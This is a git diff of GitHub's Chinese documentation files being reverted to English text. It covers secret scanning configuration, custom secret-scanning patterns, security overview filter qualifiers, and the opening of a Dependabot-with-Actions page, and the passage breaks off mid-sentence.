for this repository** to confirm the action. + ![Confirm enabling {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-confirmation-ghae.png) +3. To the right of "{% data variables.product.prodname_secret_scanning_caps %}", click **Enable**. + ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/enterprise/github-ae/repository/enable-secret-scanning-ghae.png) {% endif %} -## 排除{% ifversion fpt or ghec %}私有{% endif %}仓库中的 {% data variables.product.prodname_secret_scanning %} 警报 +## Excluding alerts from {% data variables.product.prodname_secret_scanning %} in {% ifversion fpt or ghec %}private {% endif %}repositories -您可以使用 *secret_scanning.yml* 文件从 {% data variables.product.prodname_secret_scanning %} 排除目录。 例如，可以排除包含测试或随机生成内容的目录。 +You can use a *secret_scanning.yml* file to exclude directories from {% data variables.product.prodname_secret_scanning %}. For example, you can exclude directories that contain tests or randomly generated content. {% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %} -3. 在文件名字段中，键入 *.github/secret_scanning.yml*。 -4. 在 **Edit new file（编辑新文件）**下，键入 `paths-ignore:`，后接您想要从 {% data variables.product.prodname_secret_scanning %} 排除的路径。 +3. In the file name field, type *.github/secret_scanning.yml*. +4. Under **Edit new file**, type `paths-ignore:` followed by the paths you want to exclude from {% data variables.product.prodname_secret_scanning %}. ``` yaml paths-ignore: - "foo/bar/*.js" ``` - - 您可以使用特殊字符（如 `*`）来过滤路径。 有关过滤模式的更多信息，请参阅“[GitHub Actions 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)”。 + + You can use special characters, such as `*` to filter paths. For more information about filter patterns, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)." {% note %} - - **注意：** - - 如果 `paths-ignore` 中的条目超过 1,000 个，{% data variables.product.prodname_secret_scanning %} 只会从扫描中排除前 1,000 个目录。 - - 如果 *secret_scanning.yml* 大于 1 MB，{% data variables.product.prodname_secret_scanning %} 将忽略整个文件。 - + + **Notes:** + - If there are more than 1,000 entries in `paths-ignore`, {% data variables.product.prodname_secret_scanning %} will only exclude the first 1,000 directories from scans. + - If *secret_scanning.yml* is larger than 1 MB, {% data variables.product.prodname_secret_scanning %} will ignore the entire file. + {% endnote %} -您也可以忽略来自 {% data variables.product.prodname_secret_scanning %} 的个别警报。 更多信息请参阅“[管理来自 {% data variables.product.prodname_secret_scanning %} 的警报](/github/administering-a-repository/managing-alerts-from-secret-scanning#managing-secret-scanning-alerts)”。 +You can also ignore individual alerts from {% data variables.product.prodname_secret_scanning %}. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning#managing-secret-scanning-alerts)." -## 延伸阅读 +## Further reading -- “[管理组织的安全性和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)” -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}- "[定义 {% data variables.product.prodname_secret_scanning %} 的自定义模式](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)"{% endif %} +- "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}- "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)"{% endif %} diff --git a/translations/zh-CN/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md b/translations/zh-CN/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md index 72ebf590d0..e4cde2b237 100644 --- a/translations/zh-CN/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md +++ b/translations/zh-CN/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md @@ -1,7 +1,7 @@ --- -title: 定义密钥扫描的自定义模式 -shortTitle: 定义自定义模式 -intro: '您可以在组织和私有仓库中定义 {% data variables.product.prodname_secret_scanning %} 的自定义模式。' +title: Defining custom patterns for secret scanning +shortTitle: Define custom patterns +intro: 'You can define custom patterns for {% data variables.product.prodname_secret_scanning %} in organizations and private repositories.' product: '{% data reusables.gated-features.secret-scanning %}' redirect_from: - /code-security/secret-security/defining-custom-patterns-for-secret-scanning @@ -17,36 +17,40 @@ topics: {% ifversion ghes < 3.3 or ghae %} {% note %} -**注意：**{% data variables.product.prodname_secret_scanning %} 的自定义模式目前处于测试阶段，可能会更改。 +**Note:** Custom patterns for {% data variables.product.prodname_secret_scanning %} is currently in beta and is subject to change. {% endnote %} {% endif %} -## 关于 {% data variables.product.prodname_secret_scanning %} 的自定义模式 +## About custom patterns for {% data variables.product.prodname_secret_scanning %} -{% data variables.product.company_short %} 在 {% ifversion fpt or ghec %}公共和私有{% endif %} 仓库中执行performs {% data variables.product.prodname_secret_scanning %}，以用于 {% data variables.product.company_short %} 和 {% data variables.product.company_short %} 模式提供的密钥模式。 有关 {% data variables.product.prodname_secret_scanning %} 合作伙伴计划的更多信息，请参阅“密码扫描合作伙伴计划”。 +{% data variables.product.company_short %} performs {% data variables.product.prodname_secret_scanning %} on {% ifversion fpt or ghec %}public and private{% endif %} repositories for secret patterns provided by {% data variables.product.company_short %} and {% data variables.product.company_short %} partners. For more information on the {% data variables.product.prodname_secret_scanning %} partner program, see "Secret scanning partner program." -但是，在某些情况下，您需要扫描 {% ifversion fpt or ghec %}私有{% endif %} 仓库中的其他密钥模式。 例如，您可能有一个属于您组织内部的密钥模式。 For these situations, you can define custom {% data variables.product.prodname_secret_scanning %} patterns in your enterprise, organization, or {% ifversion fpt or ghec %}private{% endif %} repository on {% data variables.product.product_name %}. You can define up to 500 custom patterns for each organization or enterprise account, and up to 100 custom patterns per {% ifversion fpt or ghec %}private{% endif %} repository. +However, there can be situations where you want to scan for other secret patterns in your {% ifversion fpt or ghec %}private{% endif %} repositories. For example, you might have a secret pattern that is internal to your organization. For these situations, you can define custom {% data variables.product.prodname_secret_scanning %} patterns in your enterprise, organization, or {% ifversion fpt or ghec %}private{% endif %} repository on {% data variables.product.product_name %}. You can define up to +{%- ifversion fpt or ghec or ghes > 3.3 %} 500 custom patterns for each organization or enterprise account, and up to 100 custom patterns per {% ifversion fpt or ghec %}private{% endif %} repository. +{%- elsif ghes = 3.3 %} 100 custom patterns for each organization or enterprise account, and per repository. +{%- else %} 20 custom patterns for each organization or enterprise account, and per repository. +{%- endif %} {% ifversion ghes < 3.3 or ghae %} {% note %} -**注意：** 在测试版中，对 {% data variables.product.prodname_secret_scanning %} 使用自定义模式时存在一些限制： +**Note:** During the beta, there are some limitations when using custom patterns for {% data variables.product.prodname_secret_scanning %}: -* 没有干运行功能。 -* 创建自定义模式后，您无法对其进行编辑。 要更改模式，您必须将其删除并重新创建。 -* 没有用于创建、编辑或删除自定义模式的 API。 但是，自定义模式的结果在[密钥扫描警报 API](/rest/reference/secret-scanning) 中返回。 +* There is no dry-run functionality. +* You cannot edit custom patterns after they're created. To change a pattern, you must delete it and recreate it. +* There is no API for creating, editing, or deleting custom patterns. However, results for custom patterns are returned in the [secret scanning alerts API](/rest/reference/secret-scanning). {% endnote %} {% endif %} -## 自定义模式的正则表达式语法 +## Regular expression syntax for custom patterns -{% data variables.product.prodname_secret_scanning %} 的自定义模式被指定为正则表达式。 {% data variables.product.prodname_secret_scanning_caps %} 使用 [Hyperscan 库](https://github.com/intel/hyperscan)，只支持 Hyperscan regex 结构（PCRE 语法的子集）。 不支持 Hyperscan 选项修饰符。 有关 Hyperscan 模式构造的更多信息，请参阅 Hyperscan 文档中的“[模式支持](http://intel.github.io/hyperscan/dev-reference/compilation.html#pattern-support)”。 +Custom patterns for {% data variables.product.prodname_secret_scanning %} are specified as regular expressions. {% data variables.product.prodname_secret_scanning_caps %} uses the [Hyperscan library](https://github.com/intel/hyperscan) and only supports Hyperscan regex constructs, which are a subset of PCRE syntax. Hyperscan option modifiers are not supported. For more information on Hyperscan pattern constructs, see "[Pattern support](http://intel.github.io/hyperscan/dev-reference/compilation.html#pattern-support)" in the Hyperscan documentation. -## 定义仓库的自定义模式 +## Defining a custom pattern for a repository -在定义自定义模式之前，您必须确保仓库上启用了 {% data variables.product.prodname_secret_scanning %}。 更多信息请参阅“[为仓库配置 {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/configuring-secret-scanning-for-your-repositories)”。 +Before defining a custom pattern, you must ensure that {% data variables.product.prodname_secret_scanning %} is enabled on your repository. For more information, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your repositories](/code-security/secret-security/configuring-secret-scanning-for-your-repositories)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} @@ -55,11 +59,11 @@ topics: {% data reusables.advanced-security.secret-scanning-new-custom-pattern %} {% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %} -在模式创建后，{% data reusables.secret-scanning.secret-scanning-process %}有关查看 {% data variables.product.prodname_secret_scanning %} 警报的详细信息，请参阅“[管理来自 {% data variables.product.prodname_secret_scanning %} 的警报](/code-security/secret-security/managing-alerts-from-secret-scanning)”。 +After your pattern is created, {% data reusables.secret-scanning.secret-scanning-process %} For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." -## 定义组织的自定义模式 +## Defining a custom pattern for an organization -在定义自定义模式之前，您必须确保在组织中为要扫描的 {% ifversion fpt or ghec %}私有{% endif %} 仓库启用 {% data variables.product.prodname_secret_scanning %}。 要在您的组织中启用 {% data variables.product.prodname_secret_scanning %} 所有 {% ifversion fpt or ghec %}私有{% endif %} 仓库，请参阅“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”。 +Before defining a custom pattern, you must ensure that you enable {% data variables.product.prodname_secret_scanning %} for the {% ifversion fpt or ghec %}private{% endif %} repositories that you want to scan in your organization. To enable {% data variables.product.prodname_secret_scanning %} on all {% ifversion fpt or ghec %}private{% endif %} repositories in your organization, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." {% note %} @@ -74,16 +78,12 @@ topics: {% data reusables.advanced-security.secret-scanning-new-custom-pattern %} {% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %} -创建模式后，{% data variables.product.prodname_secret_scanning %} 扫描组织中的{% ifversion fpt or ghec %}私有{% endif %} 仓库中的任何密钥，包括其所有分支的整个 Git 历史记录。 组织所有者和仓库管理员将会收到发现的任何密钥警报通知，并且可以审查发现密钥的仓库中的警报。 有关查看 {% data variables.product.prodname_secret_scanning %} 警报的详细信息，请参阅“[管理来自 {% data variables.product.prodname_secret_scanning %} 的警报](/code-security/secret-security/managing-alerts-from-secret-scanning)”。 +After your pattern is created, {% data variables.product.prodname_secret_scanning %} scans for any secrets in {% ifversion fpt or ghec %}private{% endif %} repositories in your organization, including their entire Git history on all branches. Organization owners and repository administrators will be alerted to any secrets found, and can review the alert in the repository where the secret is found. For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." ## Defining a custom pattern for an enterprise account -{% ifversion fpt or ghec or ghes %} - Before defining a custom pattern, you must ensure that you enable secret scanning for your enterprise account. For more information, see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise]({% ifversion fpt or ghec %}/enterprise-server@latest/{% endif %}/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)." -{% endif %} - {% note %} **Note:** As there is no dry-run functionality, we recommend that you test your custom patterns in a repository before defining them for your entire enterprise. That way, you can avoid creating excess false-positive {% data variables.product.prodname_secret_scanning %} alerts. @@ -94,29 +94,29 @@ Before defining a custom pattern, you must ensure that you enable secret scannin {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.advanced-security-policies %} {% data reusables.enterprise-accounts.advanced-security-security-features %} -1. Under "Secret scanning custom patterns", click {% ifversion fpt or ghes > 3.2 or ghae-next or ghec %}**New pattern**{% elsif ghes = 3.2 %}**New custom pattern**{% endif %}. +1. Under "Secret scanning custom patterns", click {% ifversion ghes = 3.2 %}**New custom pattern**{% else %}**New pattern**{% endif %}. {% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %} -After your pattern is created, {% data variables.product.prodname_secret_scanning %} scans for any secrets in {% ifversion fpt or ghec %}private{% endif %} repositories within your enterprise's organizations with {% data variables.product.prodname_GH_advanced_security %} enabled, including their entire Git history on all branches. 组织所有者和仓库管理员将会收到发现的任何密钥警报通知，并且可以审查发现密钥的仓库中的警报。 有关查看 {% data variables.product.prodname_secret_scanning %} 警报的详细信息，请参阅“[管理来自 {% data variables.product.prodname_secret_scanning %} 的警报](/code-security/secret-security/managing-alerts-from-secret-scanning)”。 +After your pattern is created, {% data variables.product.prodname_secret_scanning %} scans for any secrets in {% ifversion fpt or ghec %}private{% endif %} repositories within your enterprise's organizations with {% data variables.product.prodname_GH_advanced_security %} enabled, including their entire Git history on all branches. Organization owners and repository administrators will be alerted to any secrets found, and can review the alert in the repository where the secret is found. For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." -{% ifversion fpt or ghes > 3.2 or ghec %} +{% ifversion fpt or ghes > 3.2 or ghec or ghae %} ## Editing a custom pattern When you save a change to a custom pattern, this closes all the {% data variables.product.prodname_secret_scanning %} alerts that were created using the previous version of the pattern. 1. Navigate to where the custom pattern was created. A custom pattern can be created in a repository, organization, or enterprise account. - * For a repository or organization, display the "Security & analysis" settings for the repository or organization where the custom pattern was created. 更多信息请参阅“[定义仓库的自定义模式](#defining-a-custom-pattern-for-a-repository)”或“[定义组织的自定义模式](#defining-a-custom-pattern-for-an-organization)”。 + * For a repository or organization, display the "Security & analysis" settings for the repository or organization where the custom pattern was created. For more information, see "[Defining a custom pattern for a repository](#defining-a-custom-pattern-for-a-repository)" or "[Defining a custom pattern for an organization](#defining-a-custom-pattern-for-an-organization)" above. * For an enterprise, under "Policies" display the "Advanced Security" area, and then click **Security features**. For more information, see "[Defining a custom pattern for an enterprise account](#defining-a-custom-pattern-for-an-enterprise-account)" above. 2. Under "{% data variables.product.prodname_secret_scanning_caps %}", to the right of the custom pattern you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}. 3. When you have reviewed and tested your changes, click **Save changes**. {% endif %} -## 删除自定义模式 +## Removing a custom pattern 1. Navigate to where the custom pattern was created. A custom pattern can be created in a repository, organization, or enterprise account. - * For a repository or organization, display the "Security & analysis" settings for the repository or organization where the custom pattern was created. 更多信息请参阅“[定义仓库的自定义模式](#defining-a-custom-pattern-for-a-repository)”或“[定义组织的自定义模式](#defining-a-custom-pattern-for-an-organization)”。 + * For a repository or organization, display the "Security & analysis" settings for the repository or organization where the custom pattern was created. For more information, see "[Defining a custom pattern for a repository](#defining-a-custom-pattern-for-a-repository)" or "[Defining a custom pattern for an organization](#defining-a-custom-pattern-for-an-organization)" above. * For an enterprise, under "Policies" display the "Advanced Security" area, and then click **Security features**. For more information, see "[Defining a custom pattern for an enterprise account](#defining-a-custom-pattern-for-an-enterprise-account)" above. -{%- ifversion fpt or ghes > 3.2 or ghae-next %} +{%- ifversion fpt or ghes > 3.2 or ghae %} 1. To the right of the custom pattern you want to remove, click {% octicon "trash" aria-label="The trash icon" %}. 1. Review the confirmation, and select a method for dealing with any open alerts relating to the custom pattern. 1. Click **Yes, delete this pattern**. diff --git a/translations/zh-CN/content/code-security/security-overview/about-the-security-overview.md b/translations/zh-CN/content/code-security/security-overview/about-the-security-overview.md index baa978946f..15013c110e 100644 --- a/translations/zh-CN/content/code-security/security-overview/about-the-security-overview.md +++ b/translations/zh-CN/content/code-security/security-overview/about-the-security-overview.md @@ -1,5 +1,5 @@ --- -title: 关于安全概述 +title: About the security overview intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in one place: the Security Overview page.' product: '{% data reusables.gated-features.security-center %}' redirect_from: @@ -21,46 +21,47 @@ shortTitle: About security overview {% data reusables.security-center.beta %} -## 关于安全概述 +## About the security overview -您可以使用安全概述来简要了解组织的安全状态，或识别需要干预的问题仓库。 在组织级别，安全概述显示组织拥有的仓库的聚合和仓库特定安全信息。 在团队级别，安全概述显示团队拥有管理权限的仓库特定安全信息。 更多信息请参阅“[管理团队的组织仓库访问权限](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)”。 +You can use the security overview for a high-level view of the security status of your organization or to identify problematic repositories that require intervention. At the organization-level, the security overview displays aggregate and repository-specific security information for repositories owned by your organization. At the team-level, the security overview displays repository-specific security information for repositories that the team has admin privileges for. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)." The security overview indicates whether {% ifversion fpt or ghes > 3.1 or ghec %}security{% endif %}{% ifversion ghae-next %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features are enabled for repositories owned by your organization and consolidates alerts for each feature.{% ifversion fpt or ghes > 3.1 or ghec %} Security features include {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, as well as {% data variables.product.prodname_dependabot_alerts %}.{% endif %} For more information about {% data variables.product.prodname_GH_advanced_security %} features, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes > 3.1 or ghec %} For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %} For more information about securing your code at the repository and organization levels, see "[Securing your repository](/code-security/getting-started/securing-your-repository)" and "[Securing your organization](/code-security/getting-started/securing-your-organization)." -在安全概述中，您可以查看、排序和筛选警报，以了解组织和特定仓库中的安全风险。 您可以应用多个筛选器来关注感兴趣的领域。 例如，您可以识别具有大量 {% data variables.product.prodname_dependabot_alerts %} 的私有仓库或者没有 {% data variables.product.prodname_code_scanning %} 警报的仓库。 +In the security overview, you can view, sort, and filter alerts to understand the security risks in your organization and in specific repositories. You can apply multiple filters to focus on areas of interest. For example, you can identify private repositories that have a high number of {% data variables.product.prodname_dependabot_alerts %} or repositories that have no {% data variables.product.prodname_code_scanning %} alerts. -![组织的安全概述](/assets/images/help/organizations/security-overview.png) +![The security overview for an organization](/assets/images/help/organizations/security-overview.png) For each repository in the security overview, you will see icons for each type of security feature and how many alerts there are of each type. If a security feature is not enabled for a repository, the icon for that feature will be grayed out. -![安全概述中的图标](/assets/images/help/organizations/security-overview-icons.png) +![Icons in the security overview](/assets/images/help/organizations/security-overview-icons.png) -| 图标 | 含义 | -| ------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| {% octicon "code-square" aria-label="Code scanning alerts" %} | {% data variables.product.prodname_code_scanning_capc %} 警报. 更多信息请参阅“[关于 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)”。 | -| {% octicon "key" aria-label="Secret scanning alerts" %} | {% data variables.product.prodname_secret_scanning_caps %} 警报. 更多信息请参阅“[关于 {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)”。 | -| {% octicon "hubot" aria-label="Dependabot alerts" %} | {% data variables.product.prodname_dependabot_alerts %} 的通知。 更多信息请参阅“[关于易受攻击的依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)”。 | -| {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. | -| {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. | +| Icon | Meaning | +| -------- | -------- | +| {% octicon "code-square" aria-label="Code scanning alerts" %} | {% data variables.product.prodname_code_scanning_capc %} alerts. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)." | +| {% octicon "key" aria-label="Secret scanning alerts" %} | {% data variables.product.prodname_secret_scanning_caps %} alerts. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)." | +| {% octicon "hubot" aria-label="Dependabot alerts" %} | {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." | +| {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. | +| {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. | -默认情况下，存档的仓库被排除在组织的安全概览之外。 您可以应用筛选来查看安全概述中存档的仓库。 更多信息请参阅“[筛选警报列表](#filtering-the-list-of-alerts)”。 +By default, archived repositories are excluded from the security overview for an organization. You can apply filters to view archived repositories in the security overview. For more information, see "[Filtering the list of alerts](#filtering-the-list-of-alerts)." -The security overview displays active alerts raised by security features. 如果仓库的安全概述中没有警报，则可能仍然存在未检测到的安全漏洞或代码错误。 +The security overview displays active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist. -## 查看组织的安全概述 +## Viewing the security overview for an organization -组织所有者可以查看组织的安全概述。 +Organization owners can view the security overview for an organization. {% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.security-overview %} -1. 要查看有关警报类型的汇总信息，请单击 **Show more（显示更多）**。 ![显示更多按钮](/assets/images/help/organizations/security-overview-show-more-button.png) +1. To view aggregate information about alert types, click **Show more**. + ![Show more button](/assets/images/help/organizations/security-overview-show-more-button.png) {% data reusables.organizations.filter-security-overview %} -## 查看团队的安全概述 +## Viewing the security overview for a team -团队成员可以看到团队具有管理权限的仓库的安全概述。 +Members of a team can see the security overview for repositories that the team has admin privileges for. {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} @@ -68,61 +69,70 @@ The security overview displays active alerts raised by security features. 如果 {% data reusables.organizations.team-security-overview %} {% data reusables.organizations.filter-security-overview %} -## 过滤警报列表 +## Filtering the list of alerts -### 按仓库的风险级别筛选 +### Filter by level of risk for repositories The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk. -| 限定符 | 描述 | -| -------------- | ---------------- | -| `risk:high` | 显示高风险仓库。 | -| `risk:medium` | 显示中风险仓库。 | -| `risk:low` | 显示低风险仓库。 | -| `risk:unknown` | 显示风险级别未知的仓库。 | -| `risk:clear` | 显示没有检测到的风险级别的仓库。 | +| Qualifier | Description | +| -------- | -------- | +| `risk:high` | Display repositories that are at high risk. | +| `risk:medium` | Display repositories that are at medium risk. | +| `risk:low` | Display repositories that are at low risk. | +| `risk:unknown` | Display repositories that are at an unknown level of risk. | +| `risk:clear` | Display repositories that have no detected level of risk. | -### 按警报数量筛选 +### Filter by number of alerts -| 限定符 | 描述 | -| ------------------------- | --------------------------------------------------------------------------------------------------- | -| code-scanning-alerts:n | 显示具有 *n* {% data variables.product.prodname_code_scanning %} 警报的仓库。 此限定符可以使用 > 和 < 比较运算符。 | -| secret-scanning-alerts:n | 显示具有 *n* {% data variables.product.prodname_secret_scanning %} 警报的仓库。 此限定符可以使用 > 和 < 比较运算符。 | -| dependabot-alerts:n | 显示具有 *n* {% data variables.product.prodname_dependabot_alerts %} 警报的仓库。 此限定符可以使用 > 和 < 比较运算符。 | +| Qualifier | Description | +| -------- | -------- | +| code-scanning-alerts:n | Display repositories that have *n* {% data variables.product.prodname_code_scanning %} alerts. This qualifier can use > and < comparison operators. | +| secret-scanning-alerts:n | Display repositories that have *n* {% data variables.product.prodname_secret_scanning %} alerts. This qualifier can use > and < comparison operators. | +| dependabot-alerts:n | Display repositories that have *n* {% data variables.product.prodname_dependabot_alerts %}. This qualifier can use > and < comparison operators. | ### Filter by whether security features are enabled -| 限定符 | 描述 | -| ------------------------------- | ---------------------------------------------------------------------- | -| `enabled:code-scanning` | 显示启用了 {% data variables.product.prodname_code_scanning %} 警报的仓库。 | -| `not-enabled:code-scanning` | 显示未启用 {% data variables.product.prodname_code_scanning %} 警报的仓库。 | -| `enabled:secret-scanning` | 显示启用了 {% data variables.product.prodname_secret_scanning %} 警报的仓库。 | -| `not-enabled:secret-scanning` | 显示启用了 {% data variables.product.prodname_secret_scanning %} 警报的仓库。 | -| `enabled:dependabot-alerts` | 显示启用了 {% data variables.product.prodname_dependabot_alerts %} 警报的仓库。 | -| `not-enabled:dependabot-alerts` | 显示未启用 {% data variables.product.prodname_dependabot_alerts %} 警报的仓库。 | +| Qualifier | Description | +| -------- | -------- | +| `enabled:code-scanning` | Display repositories that have {% data variables.product.prodname_code_scanning %} enabled. | +| `not-enabled:code-scanning` | Display repositories that do not have {% data variables.product.prodname_code_scanning %} enabled. | +| `enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. | +| `not-enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. | +| `enabled:dependabot-alerts` | Display repositories that have {% data variables.product.prodname_dependabot_alerts %} enabled. | +| `not-enabled:dependabot-alerts` | Display repositories that do not have {% data variables.product.prodname_dependabot_alerts %} enabled. | -### 按仓库类型筛选 +### Filter by repository type -| Qualifier | Description | | -------- | -------- |{% ifversion fpt or ghes > 3.1 or ghec %} | `is:public` | Display public repositories. |{% endif %} | `is:internal` | Display internal repositories. | | `is:private` | Display private repositories. | | `archived:true` | Display archived repositories. | +| Qualifier | Description | +| -------- | -------- | +{%- ifversion fpt or ghes > 3.1 or ghec %} +| `is:public` | Display public repositories. | +{% elsif ghes or ghec or ghae %} +| `is:internal` | Display internal repositories. | +{%- endif %} +| `is:private` | Display private repositories. | +| `archived:true` | Display archived repositories. | +| `archived:true` | Display archived repositories. | -### 按团队筛选 +### Filter by team -| 限定符 | 描述 | -| ------------------------- | -------------------------- | -| team:TEAM-NAME | 显示 *TEAM-NAME* 具有管理员权限的仓库。 | +| Qualifier | Description | +| -------- | -------- | +| team:TEAM-NAME | Displays repositories that *TEAM-NAME* has admin privileges for. | -### 按主题筛选 +### Filter by topic -| 限定符 | 描述 | -| ------------------------- | ----------------------- | -| topic:TOPIC-NAME | 显示分类为 *TOPIC-NAME* 的仓库。 | +| Qualifier | Description | +| -------- | -------- | +| topic:TOPIC-NAME | Displays repositories that are classified with *TOPIC-NAME*. | -### 对警报列表进行排序 +### Sort the list of alerts -| 限定符 | 描述 | -| ----------------------------- | --------------------------------------------------------------------------- | -| `sort:risk` | 根据风险对安全概述中的仓库进行排序。 | -| `sort:repos` | 按名称的字母顺序对安全概述中的仓库排序。 | -| `sort:code-scanning-alerts` | 按 {% data variables.product.prodname_code_scanning %} 警报的数量对安全概述中的仓库排序。 | -| `sort:secret-scanning-alerts` | 按 {% data variables.product.prodname_secret_scanning %} 警报的数量对安全概述中的仓库排序。 | -| `sort:dependabot-alerts` | 将 {% data variables.product.prodname_dependabot_alerts %} 数量对安全概述中的仓库排序。 | +| Qualifier | Description | +| -------- | -------- | +| `sort:risk` | Sorts the repositories in your security overview by risk. | +| `sort:repos` | Sorts the repositories in your security overview alphabetically by name. | +| `sort:code-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_code_scanning %} alerts. | +| `sort:secret-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_secret_scanning %} alerts. | +| `sort:dependabot-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_dependabot_alerts %}. | diff --git a/translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md b/translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md index 97381433ca..9d3a2c3ed5 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md @@ -1,6 +1,6 @@ --- -title: 通过 GitHub Actions 自动化 Dependabot -intro: '如何使用 {% data variables.product.prodname_actions %} 来自动执行常见 {% data variables.product.prodname_dependabot %} 相关任务的示例。' +title: Automating Dependabot with GitHub Actions +intro: 'Examples of how you can use {% data variables.product.prodname_actions %} to automate common {% data variables.product.prodname_dependabot %} related tasks.' permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_actions %} to respond to {% data variables.product.prodname_dependabot %}-created pull requests.' miniTocMaxHeadingLevel: 3 versions: @@ -22,38 +22,106 @@ shortTitle: Use Dependabot with actions {% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -## 关于 {% data variables.product.prodname_dependabot %} 与 {% data variables.product.prodname_actions %} +## About {% data variables.product.prodname_dependabot %} and {% data variables.product.prodname_actions %} -{% data variables.product.prodname_dependabot %} 创建拉动请求以保持依赖项的最新状态，并且当创建这些拉取请求时，您可以使用 {% data variables.product.prodname_actions %} 执行自动任务。 例如，获取其他构件、添加标签、运行测试或修改拉取请求。 +{% data variables.product.prodname_dependabot %} creates pull requests to keep your dependencies up to date, and you can use {% data variables.product.prodname_actions %} to perform automated tasks when these pull requests are created. For example, fetch additional artifacts, add labels, run tests, or otherwise modifying the pull request. -## 响应事件 +## Responding to events -{% data variables.product.prodname_dependabot %} 能够在其拉取请求和评论上触发 {% data variables.product.prodname_actions %} 工作流程；然而，由于 ["GitHub Action：Depabot PR 